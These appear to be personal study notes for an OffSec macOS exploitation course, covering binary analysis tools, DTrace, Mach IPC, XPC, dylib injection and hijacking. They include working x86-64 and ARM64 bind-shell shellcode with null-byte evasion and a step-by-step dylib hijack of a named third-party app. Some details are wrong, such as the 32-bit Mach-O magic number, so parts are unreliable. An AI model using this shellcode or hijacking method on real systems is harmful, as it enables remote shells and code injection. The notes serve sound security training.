OSMR Course

OffSec macOS Exploitation - Study Notes (Part 1)

Chapter 3: Introduction to macOS

macOS Architecture Overview

macOS evolved from the merger of NeXTSTEP (kernel and runtime) and Mac OS 9 (GUI) starting in 1997. XNU is the hybrid kernel combining Mach microkernel with BSD subsystem. Understanding the layered architecture (user space applications, frameworks, kernel) is essential for exploitation.

Key Structures and Files

Mach-O Binary Format

Mach-O (Mach Object) is the standard executable format on macOS. Structure includes:

  • Mach Header: Magic number (0xfeedfacf for 32-bit, 0xfeedfacf for 64-bit), CPU type, file type, number of load commands
  • Load Commands: Define segments, sections, dynamic libraries, entry points, code signing
  • Segments: Logical groupings of sections with memory protection flags
  • Sections: Individual components within segments (__text, __data, __const, etc.)

Analyzing Binaries

# Display basic binary info
file /path/to/binary

# Examine load commands and structure
otool -l /path/to/binary

# List all sections
otool -s /path/to/binary

# Disassemble binary
objdump -d /path/to/binary

# Use jtool2 for comprehensive analysis
jtool2 -L /path/to/binary

# View code signing information
codesign -d -v /path/to/binary

Why: These tools provide static analysis of executable structure, load commands, segments, and sections needed to understand how binaries are organized and loaded.

Objective-C Fundamentals

Objective-C is a dynamic, object-oriented extension to C used extensively in macOS frameworks. Key concepts:

  • Classes and objects with dynamic dispatch
  • Message passing syntax: [object method:argument]
  • Foundation Framework provides base classes (NSString, NSArray, NSObject, etc.)
  • String objects use @"string" literal syntax
  • Method calls are resolved at runtime

Important Paths and Files

/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
/usr/lib/dyld              # Dynamic linker/loader
/usr/bin/                  # System binaries
/System/Library/           # System frameworks

APFS (Apple File System)

APFS replaced HFS+ and includes container and volume concepts, encryption, snapshots, and cloning capabilities. Relevant for understanding file-based exploitation vectors.


Chapter 4: macOS Binary Analysis Tools

Static Analysis Tools

otool

Analyze Mach-O structure and extract information.

# List load commands
otool -l binary

# Display segments and sections
otool -l binary | grep -A 5 "__TEXT"

# Show symbol table
otool -t binary

# Display imports and exports
otool -L binary  # dynamic libraries
otool -u binary  # undefined symbols

Why: otool provides quick static inspection of binary structure, dependencies, and symbols without running code.

objdump

Disassemble and analyze binaries with detailed output.

# Disassemble in Intel syntax
objdump -d -M intel binary

# Print immediate values in hex
objdump -d -M intel -print-imm-hex binary

# Disassemble specific section
objdump -d -s __text binary

Why: objdump provides assembly-level analysis with flexible output formatting for reverse engineering.

jtool2 (Jonathan Levin's Tool)

Comprehensive binary analysis combining otool and codesign functionality.

# List load commands
jtool2 -L binary

# Code signing information
jtool2 -S binary

# Shared library dependencies
jtool2 -l binary

Why: jtool2 offers unified interface for common binary analysis tasks with cleaner output than multiple tools.

codesign

Display code signing information and validate signatures.

# Display code signature details
codesign -d -v binary

# Check code signature validity
codesign --verify binary

# Display all signature info
codesign -d -vvv binary

Why: codesign reveals code signing information important for understanding security controls and exploitation constraints.

Dynamic Analysis - LLDB Debugger

LLDB is the LLVM debugger for live process inspection and runtime manipulation.

# Start debugging
lldb /path/to/binary

# Set breakpoint on function
(lldb) breakpoint set -n main

# Set breakpoint on address
(lldb) breakpoint set -a 0x100003e00

# Continue execution
(lldb) continue

# Single step (step into)
(lldb) step
(lldb) s

# Step over function
(lldb) next
(lldb) n

# Step out of function
(lldb) finish

# Print register values
(lldb) register read
(lldb) reg read rax

# Write register value
(lldb) register write rax 42

# Read memory
(lldb) memory read 0x100003f2e
(lldb) memory read -f s $rip+0x11f+7  # read as string

# Write memory
(lldb) memory write -f s $rip+0x11f+7 "Aloha World!"

# Disassemble at current pointer
(lldb) disassemble -p -c 4

# Attach to running process
(lldb) attach -p <PID>

# List breakpoints
(lldb) breakpoint list

Why: LLDB provides live process inspection, memory modification, and register manipulation essential for dynamic exploitation analysis.

Dynamic Analysis - Hopper Debugger

GUI-based disassembler and debugger providing visual code navigation.

Key Function Keys:
F5 - Continue execution
F6 - Step over
F7 - Step into
F8 - Step out
F9 - Toggle breakpoint

Hopper Features:

  • Visual assembly display with color-coded instructions
  • Register and memory inspection panes
  • Breakpoint management via GUI
  • Memory editor (double-click to edit byte-by-byte)
  • Stack trace and callstack inspection

Why: Hopper's GUI provides intuitive visualization of code flow and data, easier for complex analysis than command-line debuggers.

Dynamic Tracing with DTrace

DTrace is a dynamic tracing framework for monitoring system behavior without code injection limitations.

Core Concepts

  • Providers: Kernel modules creating probes (e.g., syscall provider)
  • Probes: Trace points at function entry/return points
  • Probe Description: provider:module:function:name format
  • Actions: Code executed when probe fires (printf, data collection, etc.)
  • Predicates: Conditions limiting when probes fire

D Language Program Structure

probe_description
/predicate/
{
  action
}

DTrace Examples

# Monitor all syscalls for process
syscall:::entry
/execname == "toolsdemo"/
{
  printf("%s called %s\n", execname, probefunc);
}

# Monitor write syscalls with buffer content
syscall::write*:entry
/execname == "toolsdemo"/
{
  printf("%s executed %s syscall, buffer: %s\n", execname, probefunc, copyinstr(arg1));
}

# Count syscalls by function
syscall:::entry
/execname == "toolsdemo"/
{
  @[probefunc] = count();
}

DTrace Commands

# Run DTrace script
sudo dtrace -s script.d

# List all available probes
sudo dtrace -l

# List probes by provider
sudo dtrace -l -P syscall

# List probes by function
sudo dtrace -l -f "write*"

# Trace syscalls with detailed output
sudo dtruss -n binary_name

# Monitor file opens
sudo dtrace -n 'syscall::open*:entry { printf("%s\n", copyinstr(arg0)); }'

Why: DTrace provides non-invasive system call and function tracing without debugger attachment constraints, capturing actual execution behavior.

Important Variables and Functions in D

  • execname: Process name
  • probefunc: Function being traced
  • arg0, arg1, arg2: Function arguments
  • arg0 - first argument (often a file descriptor)
  • arg1 - second argument (often buffer/data)
  • copyinstr(address): Copy string from kernel memory
  • copy_insize(address, size): Copy bytes from kernel memory

Compiled Sample Program Structure

#import <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>

int hello() {
    printf("Hello from hello function!\n");
    return rand();
}

int main() {
    printf("Hello World!\n");

    FILE *fp = fopen("/tmp/hello-c.txt", "w");
    fprintf(fp, "Hello C!\n");
    fclose(fp);

    int r = hello();
    printf("Random number is: %i\n", r);

    NSString* hello = @"Hello Obj-C!";
    [hello writeToFile:@"/tmp/hello-objc.txt" atomically:YES encoding:NSUTF8StringEncoding error:nil];

    return 0;
}

This program demonstrates C API calls, Objective-C API calls, and standard file operations useful for analysis practice.


Chapter 5: The Art of Crafting Shellcodes (x86-64)

Shellcode Fundamentals

Shellcode is assembly instructions providing desired functionality when executed. Common goals: reverse shell, bind shell, command execution. Key constraint: NULL byte free for buffer overflow exploitation. Assembly provides fine control over code size and byte content; C is faster but less controllable.

Syscall Calling Convention (x86-64 macOS)

Parameter passing:

  • RDI = first argument
  • RSI = second argument
  • RDX = third argument
  • R10 = fourth argument (syscall number in RAX)

Syscall invocation:

bts rax, 25    ; set bit 25 to convert syscall to 0x200000-based value
syscall        ; trigger syscall

Command Execution Shellcode

Execute arbitrary shell commands using execve syscall.

; execve syscall
xor rdx, rdx           ; RDX = 0 (envp)
push rdx               ; push NULL terminator
mov rbx, '/bin/zsh'    ; move string into RBX
push rbx               ; push to stack
mov rdi, rsp           ; argv[0] = /bin/zsh
xor rsi, rsi           ; argv = NULL
push 0x3b              ; syscall 59 (execve)
pop rax
bts rax, 25
syscall

Why: Basic shellcode building block for command execution without relying on shell argument passing.

Socket Operations for Bind Shell

Socket Creation

xor rdi, rdi           ; AF_UNSPEC = 0 (but use AF_INET = 2)
mov rdi, 2             ; AF_INET
mov rsi, 1             ; SOCK_STREAM
xor rdx, rdx           ; IPPROTO_IP = 0
push 0x64              ; socket syscall# = 100
pop rax
bts rax, 25
syscall
mov r9, rax            ; save socket FD to R9

Why: Socket syscall creates network endpoint for incoming connections.

Bind to Port

mov rdi, r9            ; socket FD to RDI
xor rsi, rsi           ; sin_zero = 0
push rsi
mov esi, 0x5c110201   ; port 4444, family AF_INET, length 1
dec esi                ; sin_len = 0
push rsi               ; push structure to stack
push rsp
pop rsi                ; RSI = pointer to sockaddr_in
push 0x10
pop rdx                ; RDX = sizeof(sockaddr_in)
push 0x68              ; bind syscall# = 104
pop rax
bts rax, 25
syscall

Why: Bind syscall associates socket with IP:port combination for accepting connections.

Key Structure (sockaddr_in):

struct sockaddr_in {
    __uint8_t       sin_len;
    sa_family_t     sin_family;      // AF_INET = 2
    in_port_t       sin_port;        // port in network byte order (htons)
    struct in_addr  sin_addr;
    char            sin_zero[8];
};

Listen and Accept

; listen
mov rdi, r9            ; socket FD to RDI
xor rsi, rsi           ; backlog = 0
push 0x6a              ; listen syscall# = 106
pop rax
bts rax, 25
syscall

; accept - returns new connection FD
mov rdi, r9            ; socket FD
xor rsi, rsi           ; address = NULL
xor rdx, rdx           ; address_len = NULL
push 0x1e              ; accept syscall# = 30
pop rax
bts rax, 25
syscall
mov r10, rax           ; save connection FD to R10

Why: Listen marks socket ready for connections; accept creates new FD for connected client.

Redirect Standard File Descriptors

; dup2 loop - redirect stdin(0), stdout(1), stderr(2) to connection
mov rdi, r10           ; connection FD to RDI
push 2
pop rsi                ; RSI = 2 (starting from stderr)
dup2_loop:
push 0x5a              ; dup2 syscall# = 90
pop rax
bts rax, 25
syscall
dec rsi                ; decrement to next FD
jns dup2_loop          ; continue if RSI >= 0

Why: dup2 duplicates connection FD to stdin/stdout/stderr so shell I/O goes through network socket.

NULL Byte Elimination Techniques

x86-64 has strict NULL byte requirements in shellcode (terminates strings in buffer overflows).

Technique 1: Split Immediate Values

Bad: mov esi, 0x5c110200 contains NULL bytes

Good:

mov esi, 0x5c110201   ; add 1
dec esi                ; subtract 1 to get original value

Technique 2: Using XOR for Zero

xor rax, rax           ; clear RAX (no NULL bytes)
xor rsi, rsi           ; clear RSI

Technique 3: Use Register Shifts

lsr x20, x0, #0        ; copy register without NULL bytes (ARM technique)

Shellcode Assembly and Linking

# Assemble with NASM
nasm -f macho64 shellcode.asm -o shellcode.o

# Link with system library
ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem shellcode.o -o shellcode

# Execute shellcode
./shellcode

Testing and Verification with dtruss

# Trace syscalls while running shellcode
sudo dtruss -n bindshell

# Look for socket, bind, listen, accept, dup2, execve syscalls
# Verify arguments: socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_IP=0)
# Verify connection FD usage in dup2 calls

Why: dtruss confirms shellcode executes expected syscalls with correct arguments.

Writing Shellcode in C

High-level approach for faster development, less error-prone but depends on compiler output.

Removing RIP-Relative Addressing

Problem: Compiler uses PC-relative addressing for strings.

Solution: Use character arrays built on stack:

char b[] = {'/','b','i','n','/','b','a','s','h',0};
execv(b, 0);

This forces string into code segment via individual byte moves.

Hardcoding Function Addresses

Problem: Dynamic linking resolves functions at runtime via stubs.

Solution: Create function pointer type and hardcode address:

typedef int *(*execv_t)(const char *, char * const *);
execv_t my_execv = (execv_t)0x7fff20298082;  // placeholder address
my_execv(b, 0);

Find actual address at runtime:

#include <stdio.h>
#include <unistd.h>
int main() {
    printf("0x%lx\n", (unsigned long)execv);
}

Replace placeholder with real address and recompile.

Disassembly Conversion to NASM

objdump syntax incompatible with NASM. Required conversions:

  • Remove ptr keywords (e.g., qword ptr [rbp-8] becomes [rbp-8])
  • Rename movabs to mov
  • Convert relative jumps to labels
  • Remove operand size suffixes where implicit

Chapter 6: The Art of Crafting Shellcodes (Apple Silicon - ARM64)

ARM64 Architecture Basics

ARM64 (AArch64) is RISC architecture with 31 general-purpose registers (X0-X30), SP, PC, and condition flags. Calling convention differs significantly from x86-64.

ARM64 Syscall Calling Convention

Parameter passing (standard ARM64 ABI):

  • X0 = first argument
  • X1 = second argument
  • X2 = third argument
  • X3 = fourth argument (not used for syscalls in macOS)
  • X16 = syscall number
  • X17-X30 = preserved across syscalls (callee-saved)
  • X19-X28 = temporary, may be clobbered

Syscall invocation:

mov x16, #104       ; bind syscall
svc #0xbeef         ; supervisor call (exception-based syscall)

NULL Byte Elimination in ARM64

ARM64 instructions are 4-byte aligned, creating more NULL bytes than x86-64.

Technique 1: Use Large Offset Values

Bad: mov x21, #2 (address has zeros)

Good:

mov x21, #0xfff    ; large value
sub x1, x21, #0xffd ; calculate actual value (2)

Technique 2: Logical Shifts for Register Moves

lsr x20, x0, #0     ; shift right by 0 (copies register, no NULL bytes)

Technique 3: Movk (Move with Keep)

Use multiple movk instructions to build values without intermediate zeros:

mov x22, #0x622f        ; load lower 16 bits
movk x22, #0x6e69, lsl #16  ; OR in next 16 bits at offset
movk x22, #0x732f, lsl #32  ; continue for 64-bit value
movk x22, #0x68, lsl #48    ; /bin/sh in registers

ARM64 Bind Shell Implementation

Socket Creation

_socket:
 mov x0, #2         ; AF_INET
 mov x1, #1         ; SOCK_STREAM
 mov x2, #0         ; IPPROTO_IP
 mov x16, #97       ; socket syscall#
 svc #0xbeef
 lsr x19, x0, #0    ; save socket FD to X19 (NULL byte free via shift)

Bind Syscall

_bind:
 mov x0, x19        ; socket FD
 sub sp, sp, #4080  ; allocate stack space for sockaddr_in
 str xzr, [sp, #4072]  ; sin_zero = 0
 mov x1, #512       ; port component
 movk x1, #23569, lsl #16  ; port 4444 in network byte order
 str x1, [sp, #4064]
 add x1, sp, #4064  ; address of structure
 mov x2, #16        ; sizeof(sockaddr_in)
 mov x16, #104      ; bind syscall#
 svc #0xbeef

Why: ARM64 bind structure building differs due to register width and instruction encoding.

Listen Syscall

_listen:
 mov x0, x19        ; socket FD
 mov x1, xzr        ; backlog = 0
 mov x16, #106      ; listen syscall#
 svc #0xbeef

Accept Syscall

_accept:
 mov x0, x19        ; socket FD
 mov x1, xzr        ; address = NULL
 mov x2, xzr        ; address_len = NULL
 mov x16, #30       ; accept syscall#
 svc #0xbeef
 lsr x20, x0, #0    ; save connection FD to X20

DUP2 Loop with NULL Byte Elimination

_dup:
 mov x21, #0xfff    ; set large value (0xfff = 4095)
loop:
 mov x0, x20        ; connection FD
 sub x1, x21, #0xffd ; calculate 0, 1, 2 by subtracting offset
 mov x16, #90       ; dup2 syscall#
 svc #0xbeef
 sub x21, x21, #0xff ; subtract 255
 add x21, x21, #0xfe ; add back 254 (net: subtract 1)
 cmp x21, #0xffd    ; compare with adjusted 0
 b.ge loop          ; branch if >= (non-negative)

Why: Complex arithmetic avoids NULL bytes while decrementing loop counter.

Execve with String in Register

Problem: ADR instruction always generates NULL bytes for string addressing.

Solution: Store 7-byte string directly in X22 register:

_exec:
 mov x22, #0x622f           ; little endian: /b
 movk x22, #0x6e69, lsl #16 ; i n
 movk x22, #0x732f, lsl #32 ; /s
 movk x22, #0x68, lsl #48   ; h (plus NULL terminator)
 sub sp, sp, #0xff0         ; allocate stack
 str x22, [sp, #0xfe8]      ; store to stack
 add x0, sp, #0xfe8         ; address of /bin/sh
 mov x1, xzr                ; argv = NULL
 mov x2, xzr                ; envp = NULL
 mov x16, #59               ; execve syscall#
 svc #0xbeef

Why: Storing string in register avoids ADR PC-relative addressing that generates NULL bytes.

ARM64 Shellcode Assembly and Linking

# Assemble with Apple's assembler
as bindshell.asm -o bindshell.o

# Link with system library
ld -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib -lSystem bindshell.o -o bindshell

# Execute
./bindshell

ARM64 C Shellcode Development

Similar to x86-64: eliminate PC-relative addressing and use hardcoded function pointers.

Eliminating PC-Relative Addressing

Build strings character-by-character on stack:

char b[10];
b[0] = '/';
b[1] = 'b';
// ... etc for all characters
b[9] = '\0';
execv(b, 0);

Using Hardcoded Function Addresses

typedef int *(*execv_t)(const char *, char * const *);
execv_t my_execv = (execv_t)0x18c2dffe0;
my_execv(b, 0);

Convert objdump assembly to NASM-compatible ARM64 assembly and compile.


Key Takeaways

  1. Binary Analysis: otool, objdump, jtool2, codesign provide complementary static analysis capabilities
  2. Dynamic Analysis: LLDB and Hopper for interactive debugging; DTrace for non-invasive tracing
  3. Syscall Knowledge: x86-64 and ARM64 have different calling conventions, register usage, and syscall numbers
  4. NULL Byte Elimination: Critical for buffer overflow exploits; requires creative instruction selection and arithmetic
  5. Shellcode Development: C compilation can accelerate development but requires careful elimination of dynamic linking and PC-relative addressing
  6. Testing: dtruss and LLDB verify shellcode behavior at syscall level

OffSec macOS Research - Study Notes Part 2

Chapter 7: Dylib Injection

DYLD_INSERT_LIBRARIES Injection

Dylib injection via environment variables allows loading arbitrary dynamic libraries before the main application starts. The dyld loader will execute the injected dylib in the application's context with its privileges and entitlements. This is the classic injection technique, similar to LD_PRELOAD on Linux.

Key Concept: DYLD_INSERT_LIBRARIES is a colon-separated list of dylib paths that dyld loads before launching the application.

Performing Injection

Compile a dylib with a constructor function:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
 printf("[+] dylib constructor called from %s\n", argv[0]);
 syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

Why: Constructor runs automatically when dylib loads, before main executable code.

Compile the dylib:

gcc -dynamiclib example.c -o example.dylib

Inject into a target application:

DYLD_INSERT_LIBRARIES=example.dylib /Applications/MachOView.app/Contents/MacOS/MachOView

Why: Environment variable instructs dyld to preload the library on process start.

Monitor injection via syslog:

log stream --style syslog --predicate 'eventMessage CONTAINS[c] "constructor"'

Why: Dylib execution generates log entries verifiable after successful injection.

Restrictions of DYLD_INSERT_LIBRARIES

Apple blocks DYLD_INSERT_LIBRARIES in several cases:

Case 1: SUID/SGID Binaries

sudo chown root hello
sudo chmod +s hello
DYLD_INSERT_LIBRARIES=example.dylib ./hello  # Fails - dylib not loaded

Why: SUID/SGID requires trust verification; environment variables ignored for security.

Verify SUID bit:

issetugid()  # Returns 1 if process has setuid/setgid bits set

Case 2: __RESTRICT Segment

gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restricted
DYLD_INSERT_LIBRARIES=example.dylib ./hello-restricted  # Fails

Why: Binary explicitly marks itself as restricted to prevent injection.

Verify segment presence:

size -x -l -m hello-restricted

Checks for __RESTRICT segment in Mach-O file.

Case 3: Code Signing with Entitlements/Hardened Runtime

Sign with hardened runtime:

codesign -s offsec --option=runtime hello-signed
codesign -dv hello-signed  # Verify flags=0x10000(runtime)

Why: Hardened runtime flag causes dyld to restrict environment variable use.

Sign with library validation:

codesign -f -s offsec --option=library hello-signed
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed  # Fails - signature mismatch

Why: Library validation requires dylib signed with same certificate.

Verify with real developer certificate (succeeds):

codesign -f -s "Developer ID Application: Name (ID)" example-signed.dylib
codesign -f -s "Developer ID Application: Name (ID)" --option=library hello-signed
DYLD_INSERT_LIBRARIES=example-signed.dylib ./hello-signed  # Works

Set CS_RESTRICT flag:

codesign -f -s offsec --option=0x800 hello-signed  # 0x800 = CS_RESTRICT flag

Why: CS_RESTRICT dynamically set by kernel during load for Apple binaries.

Understanding dyld Internals

Key dyld functions that enforce restrictions:

pruneEnvironmentVariables() - Removes DYLD_* variables when:

  • issetugid() returns true (SUID/SGID)
  • hasRestrictedSegment() finds __RESTRICT segment
  • CS_RESTRICT flag is set in code signature

processRestricted() - Determines if process is restricted:

# Check code signing status with csops
csops -status <PID>  # Returns code signing flags

Why: Returns bitwise OR of all applicable restriction flags.

csops syscall (SYS_csops = 169) - Query code signing:

syscall(SYS_csops, 0, CS_OPS_STATUS, &flags, sizeof(flags))

Why: Kernel query determines if CS_RESTRICT flag is set in process.

Key CS_OPS operations:

  • CS_OPS_STATUS (0) - Get code signing status
  • CS_OPS_MARKRESTRICT (8) - Set CS_RESTRICT flag
  • CS_OPS_ENTITLEMENTS_BLOB (7) - Get entitlements

Important Code Signing Flags:

  • CS_RESTRICT (0x800) - Ignore dyld environment variables
  • CS_REQUIRE_LV (0x2000) - Require library validation
  • CS_RUNTIME (0x10000) - Apply hardened runtime policies
  • CS_GET_TASK_ALLOW (0x4) - Allow task_for_pid access

AMFI (AppleMobileFileIntegrity) Policy

Modern macOS uses AMFI kernel extension for dyld policy enforcement instead of dyld checks.

Query AMFI via __mac_syscall:

amfi_check_dyld_policy_self(uint64_t input_flags, uint64_t* output_flags)

Why: Kernel policy module determines which dyld environment variables are allowed.

AMFI output flags determine:

  • AMFI_DYLD_OUTPUT_ALLOW_AT_PATH (1 << 0)
  • AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS (1 << 1)
  • AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING (1 << 6)

SIP (System Integrity Protection) affects AMFI policy:

csr_check(CSR_ALLOW_TASK_FOR_PID)  # Returns 0 if SIP enabled, non-zero if disabled

Why: CSR flags control what AMFI allows on the system.

Dylib Hijacking Technique

Alternative injection method exploiting path resolution instead of DYLD_INSERT_LIBRARIES.

Identifying Hijackable Binaries

Find LC_RPATH commands:

otool -l /Applications/BurpSuite.app/Contents/PlugIns/jre.bundle/Contents/Home/bin/pack200 | grep RPATH -A 3

Why: Shows directories dyld searches for @rpath-prefixed dylibs.

Find @rpath-dependent dylibs:

otool -l /Applications/BurpSuite.app/Contents/PlugIns/jre.bundle/Contents/Home/bin/pack200 | grep @rpath -A 3

Why: Lists dylibs that can be hijacked if missing from earlier @loader_path locations.

Verify dylib availability in resolved paths:

ls -l /Applications/BurpSuite.app/Contents/PlugIns/jre.bundle/Contents/Home/bin/*.dylib
ls -l /Applications/BurpSuite.app/Contents/PlugIns/jre.bundle/Contents/Home/lib/*.dylib

Why: If dylib missing from first location, hijacking opportunity exists.

Check code signing and library validation:

codesign -dv --entitlements :- /Applications/BurpSuite.app/Contents/PlugIns/jre.bundle/Contents/Home/bin/pack200

Why: Library validation blocks hijacking; must be disabled (com.apple.security.cs.disable-library-validation).

Performing Hijacking

Create hijack dylib with reexport of original:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation hijack.m \
 -Wl,-reexport_library,"/path/to/original/libjli.dylib" -o hijack.dylib

Why: -current_version/-compatibility_version must match original; -Wl,-reexport_library re-exports all symbols.

Verify reexport load command:

otool -l hijack.dylib | grep REEXPORT -A 2

Why: Shows LC_REEXPORT_DYLIB with @rpath reference.

Fix reexport path to absolute (avoid self-reference):

install_name_tool -change @rpath/libjli.dylib "/absolute/path/to/original/libjli.dylib" hijack.dylib

Why: Changes from @rpath (would cause circular reference) to absolute path.

Place hijack in first search location:

cp hijack.dylib "/Applications/BurpSuite.app/Contents/PlugIns/jre.bundle/Contents/Home/bin/libjli.dylib"
/Applications/BurpSuite.app/Contents/PlugIns/jre.bundle/Contents/Home/bin/pack200
# Output: Dylib hijack successful in pack200

Why: dyld searches @loader_path/. before @loader_path/../lib; hijack placed first in search order.

dlopen Hijacking

Test dlopen search paths with fs_usage:

# Code that calls dlopen("doesntexist.dylib", 1)
sudo fs_usage | grep doesntexist
# Output shows search order: cwd, $HOME/lib, /usr/local/lib, /usr/lib

Why: dlopen searches environment variables when binary is unrestricted.

Restricted binaries search only /usr/lib:

codesign -s cert --option=runtime test_app
# Re-run fs_usage shows only /usr/lib searched

Why: Hardened runtime disables all environment variable paths; only system path checked.


Chapter 8: The Mach Microkernel

Mach Architecture and Concepts

Mach is the microkernel at the core of macOS (within XNU kernel). It handles:

  • Task scheduling and thread management
  • Interprocess communication (IPC) via messages
  • Virtual memory management
  • Hardware interface abstraction

Key Entity - Task: Smallest resource container; contains one or more threads. Maps 1:1 to POSIX processes.

Key Entity - Port: Message queue managed by kernel; handles one-way communication between tasks.

Key Entity - Port Rights: Permissions determining what operations a task can perform on a port.

Mach IPC Concepts

Port Rights Types:

  • RECEIVE Right: Only one task owns per port; allows dequeue (receive) messages
  • SEND Right: Multiple clones possible; allows queue (send) messages; initially created with RECEIVE right
  • SEND ONCE Right: One-time send; consumed after single message

Port Right Names: Integers representing local references to rights; significance only within owning task.

Bootstrap Service Registration

Bootstrap Server (launchd): System process (PID 1) that enables task-to-task communication by holding RECEIVE rights to service ports and distributing SEND rights.

Manual Service Registration (Deprecated):

Create receiver port:

mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);

Why: mach_task_self() returns current task's task port; MACH_PORT_RIGHT_RECEIVE creates RECEIVE right.

Add SEND right:

kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

Why: Allows task to send to itself; needed to distribute SEND right to other tasks.

Register with bootstrap:

kr = bootstrap_register(bootstrap_port, "org.example.service", port);

Why: bootstrap_port is global SEND right to bootstrap server; registers service name for lookup.

Lookup service (client side):

mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.example.service", &port);

Why: Obtains SEND right to service port for message transmission.

Mach Message Structure

Create message:

struct {
 mach_msg_header_t header;
 char some_text[10];
 int some_number;
 mach_msg_trailer_t trailer;
} message;

Why: Fixed header (kernel-interpreted) + custom body (application data) + trailer (metadata).

Key header fields:

  • msgh_bits - Message properties/right types
  • msgh_remote_port - Destination port
  • msgh_local_port - Reply port

Send message:

kr = mach_msg(
 &message.header,
 MACH_SEND_MSG,           // Options - sending
 sizeof(message),         // Send size
 0,                       // Receive buffer size (ignored when sending)
 MACH_PORT_NULL,          // Receive port
 MACH_MSG_TIMEOUT_NONE,   // Timeout
 MACH_PORT_NULL           // Notify port
);

Why: MACH_SEND_MSG flag indicates send operation; kernel validates header and transmits message.

Receive message:

kr = mach_msg(
 &message.header,
 MACH_RCV_MSG,            // Options - receiving
 0,                       // Send size (ignored when receiving)
 sizeof(message),         // Receive buffer size
 port,                    // Receive port
 MACH_MSG_TIMEOUT_NONE,   // Timeout
 MACH_PORT_NULL           // Notify port
);

Why: MACH_RCV_MSG flag indicates receive operation; kernel dequeues message from port.

Mach Special Ports

Special ports provide access to kernel objects; RECEIVE right always held by kernel.

HOST_PORT: General system information access

// Can call host_processor_info() to get CPU details

Why: Provides read-only system information; widely available.

HOST_PRIV_PORT: Privileged operations (requires root + entitlements)

// Can call kext_request() to load/unload kernel extensions
// Requires: com.apple.private.kext* entitlements

Why: Full kernel extension management; restricted to Apple binaries.

TASK_PORT (Task's kernel port): Full process control

// Can read/write memory, create/destroy threads, suspend process
// Equivalent to debugger attachment

Why: Provides unrestricted access; most powerful port type.

Task Port Access Control

Task port access controlled by taskgated daemon and AMFI kernel extension via macos_task_policy().

Access granted if:

  1. Target has com.apple.security.get-task-allow entitlement:
codesign -dv --entitlements :- /path/to/app  # Look for get-task-allow

Why: Allows any process at same user level to access task port; typically for development.

  1. Caller is debugger with com.apple.security.cs.debugger entitlement:
codesign -dv --entitlements :- /usr/bin/lldb  # Has debugger entitlement

Why: Debuggers need task port to attach; restricted to Apple tools.

  1. Caller is root AND target allows it:
// Root can call task_for_pid(mach_task_self(), target_pid, &target_port)
// But AMFI policy may still deny based on code signature flags

Why: Root bypass with policy enforcement via AMFI.

Detect task port access restrictions:

# If app has hardened runtime and no get-task-allow:
lldb -p <PID>  # Fails - cannot attach

Why: Hardened runtime + no get-task-allow = no task port access.


Chapter 9: XPC Attacks

XPC Architecture and Concepts

XPC (Interprocess Communication) separates application functionality into independent processes with distinct security contexts. Introduced in OS X Lion (10.7), now Apple's primary IPC mechanism.

Design Goals:

  1. Fault isolation - Component crashes don't affect main app
  2. Privilege separation - Each component has minimal required rights
  3. Resource efficiency - On-demand launch and teardown via launchd

Limitation: Multiple processes consume more resources than single-process design.

XPC Service Types

Application-specific XPC services:

  • Located in app bundle: /Applications/App.app/Contents/XPCServices/Service.xpc
  • Only accessible by parent application
  • Limited security impact of exploitation

Example XPC service bundle structure:

ls -lR /Applications/Hopper.app/Contents/XPCServices/Assembler.xpc
# Contents/
#   Info.plist
#   MacOS/Assembler (executable)
#   _CodeSignature/CodeResources

Why: Standard bundle layout; Info.plist defines service configuration.

Check application entitlements:

codesign -dv --entitlements :- /Applications/Hopper.app
# Output includes com.apple.security.cs.debugger, other powerful entitlements

Check XPC component entitlements:

codesign -dv --entitlements :- /Applications/Hopper.app/Contents/XPCServices/Assembler.xpc
# Output: empty dict - no special entitlements

Why: XPC components intentionally restricted; exploit impact limited.

System-wide XPC services:

  • Defined in /System/Library/LaunchDaemons, /Library/LaunchDaemons, etc.
  • Globally accessible to any process
  • Often run as root or with elevated privileges
  • Higher exploitation impact

View LaunchDaemon XPC service config:

cat /Library/LaunchDaemons/com.example.HelperTool.plist
# Keys: Label, MachServices, Program, ProgramArguments

Why: MachServices key defines service name for client connection.

Privilege escalation via system XPC: If XPC service runs as root and has privilege-escalation bugs, exploit grants root access to attacker.

JoinExistingSession Configuration:

# If Info.plist has JoinExistingSession = True:
# XPC component runs in same security session as calling app
# Can access user keychain and per-session resources

Why: Weakens privilege separation; component inherits caller's rights.

XPC Low-Level C API

XPC objects created via xpc_*_create functions. All objects are type-erased as xpc_object_t.

Supported object types:

  • Primitive: NULL, boolean, int64, uint64, double, date, C string
  • Container: data, array, dictionary, UUID
  • Special: file descriptor, shared memory

Create and send XPC message:

Initialize connection:

xpc_connection_t conn = xpc_connection_create_mach_service("com.example.service", NULL, 0);

Why: NULL dispatch queue = use default queue; 0 flags = client mode.

Set event handler:

xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
 printf("%s\n", xpc_copy_description(event));
});

Why: Block handles both normal messages and error events; xpc_copy_description useful for debugging.

Resume connection:

xpc_connection_resume(conn);

Why: Connections start suspended; resume activates message delivery.

Create message dictionary:

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_bool(message, "bool_key", 1);
xpc_dictionary_set_string(message, "string_key", "value");
xpc_dictionary_set_int64(message, "int_key", 42);

Why: Dictionary is only valid top-level message type; entries have string keys.

Send message and wait for reply:

xpc_connection_send_message_with_reply(conn, message, NULL, ^(xpc_object_t resp) {
 const char *reply = xpc_dictionary_get_string(resp, "reply_key");
});

Why: Reply handler is block that executes when service responds; useful for request-response patterns.

